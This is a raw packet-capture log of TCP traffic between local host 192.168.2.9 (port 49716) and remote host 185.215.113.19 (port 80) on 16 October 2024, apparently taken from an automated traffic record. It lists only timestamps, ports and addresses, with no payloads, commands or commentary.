Oct 16, 2024 19:22:40.115269899 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.115269899 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.115269899 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.115269899 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.115269899 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.115269899 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.115406036 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.115406036 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.115406036 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.115406036 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.115406036 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.115406036 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.115406036 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.117506981 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.120827913 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.120836020 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.120845079 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.120848894 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.121259928 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.121287107 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.121290922 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.121342897 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.121346951 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.122571945 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.207894087 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.207894087 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.207894087 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.207927942 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.207927942 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.207927942 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.207967997 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.207967997 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.208143950 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.208143950 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.208143950 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.208143950 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.208143950 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.208143950 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.208143950 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.208183050 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.208183050 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.208237886 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.213450909 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.213494062 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.226048946 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.226048946 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.226067066 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.226099968 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.226099968 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.226134062 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.230346918 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.230346918 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.230346918 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.230346918 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.230346918 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.230346918 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.230346918 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.230396032 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.230478048 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.230478048 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.230535984 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.230535984 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.231106997 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.231265068 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.235599995 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.235840082 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.277544975 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.277544975 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.277631998 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.277631998 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.277695894 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.277695894 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.277751923 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.282478094 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.282490969 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.282597065 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.282602072 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.289977074 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.289977074 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.289977074 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.289977074 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.289977074 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.290054083 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.290054083 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.290054083 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.290081024 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.290081024 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.290508986 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.290508986 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.290508986 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.295128107 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.295716047 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.306639910 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.306639910 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.306639910 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.306639910 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.307178020 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.307178020 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.307251930 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.307251930 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.307251930 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.307251930 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.307251930 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.307251930 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.307251930 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.307324886 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.307324886 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.307362080 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.307362080 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.307375908 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.307375908 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.307466984 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.307539940 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.307660103 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.307770967 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.307770967 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.307806015 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.307806015 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.307849884 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.307849884 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.308429003 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.308429003 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.308429003 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.308429003 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.308461905 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.308461905 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.308552027 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.308552027 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.308552027 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.308552027 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.308607101 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.308607101 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.308723927 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.308723927 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.308723927 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.308723927 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.308933973 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.308933973 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.308933973 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.308933973 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.308933973 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.308933973 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.308933973 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.309070110 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.309070110 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.309070110 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.309070110 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.309070110 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.309070110 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.309143066 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.309143066 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.309176922 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.309176922 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.309319973 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.309319973 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.309319973 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.309319973 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.309417009 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.309498072 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.309498072 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.309498072 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.309498072 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.309611082 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.309611082 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.309650898 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.309650898 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.309684992 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.309684992 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.309735060 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.309735060 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.309782982 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.310452938 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.310452938 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.310452938 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.310452938 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.310452938 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.310512066 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.310512066 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.310587883 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.310587883 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.310587883 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.310587883 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.310652971 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.310652971 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.310683012 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.310683012 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.310725927 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.310725927 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.310758114 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.310758114 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.310801029 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.310801029 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.310849905 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.310849905 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.310936928 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.310936928 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.310936928 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.310936928 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.311206102 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.311206102 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.311206102 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.311206102 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.311206102 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.311206102 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.311206102 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.311243057 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.311243057 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.311378002 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.311378002 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.311378002 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.311378002 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.311378002 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.311378002 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.311450958 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.311484098 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.311484098 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.311527967 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.311527967 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.311722040 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.311722040 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.311722040 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.311722040 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.311745882 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.311745882 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.311747074 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.311830044 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.311830044 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.311892033 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.311892033 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.311903954 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.311983109 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.312078953 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.312108994 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.312108994 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.312211037 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.312212944 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.312216043 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.312257051 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.312257051 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.312406063 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.312416077 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.312424898 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.312429905 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.312437057 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.312747955 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.312747955 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.312750101 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.312755108 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.312762976 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.312772036 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.312776089 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.312786102 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.312793016 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.312793016 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.312906981 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.312906981 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.312931061 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.312935114 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.312947989 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.312947989 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.312968016 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.313020945 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.313020945 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.313052893 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.313101053 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.313101053 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.313359022 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.313391924 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.313391924 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.313391924 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.313391924 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.313393116 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.313393116 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.313432932 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.313432932 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.313455105 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.313460112 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.313469887 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.313486099 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.313580990 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.313585043 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.313599110 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.313612938 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.313616991 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.313627005 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.313627005 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.313627005 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.313627005 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.313631058 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.313750982 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.313750982 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.313750982 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.313812017 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.313812017 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.313898087 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.313986063 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.313986063 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.314060926 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.314060926 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.314060926 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.314060926 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.314176083 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.314177036 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.314177036 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.314201117 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.314205885 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.314215899 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.314218998 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.314228058 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.314229012 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.314342022 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.314392090 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.314395905 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.314405918 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.314409971 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.314414024 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.314464092 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.314464092 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.314464092 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.314522982 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.314527035 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.314536095 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.314560890 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.314560890 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.314560890 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.314776897 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.314852953 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.314857006 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.315432072 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.315438032 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.315509081 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.315514088 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.315723896 CEST	80	49716	185.215.113.19	192.168.2.9
